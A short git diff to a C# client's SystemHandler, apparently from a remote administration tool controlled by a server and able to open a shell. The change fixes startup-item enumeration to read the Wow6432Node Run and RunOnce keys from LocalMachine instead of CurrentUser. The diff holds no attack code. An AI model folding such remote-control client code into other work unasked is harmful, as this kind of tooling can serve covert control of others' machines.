diff --git a/Client/Core/Commands/SystemHandler.cs b/Client/Core/Commands/SystemHandler.cs index dd02674c..b3633ec8 100644 --- a/Client/Core/Commands/SystemHandler.cs +++ b/Client/Core/Commands/SystemHandler.cs @@ -101,7 +101,7 @@ public static void HandleGetStartupItems(Packets.ServerPackets.GetStartupItems c { using ( var key = - Registry.CurrentUser.OpenSubKey( + Registry.LocalMachine.OpenSubKey( "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", false)) { @@ -113,7 +113,7 @@ public static void HandleGetStartupItems(Packets.ServerPackets.GetStartupItems c } using ( var key = - Registry.CurrentUser.OpenSubKey( + Registry.LocalMachine.OpenSubKey( "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", false)) { @@ -363,4 +363,4 @@ public static void CloseShell() _shell.Dispose(); } } -} \ No newline at end of file +}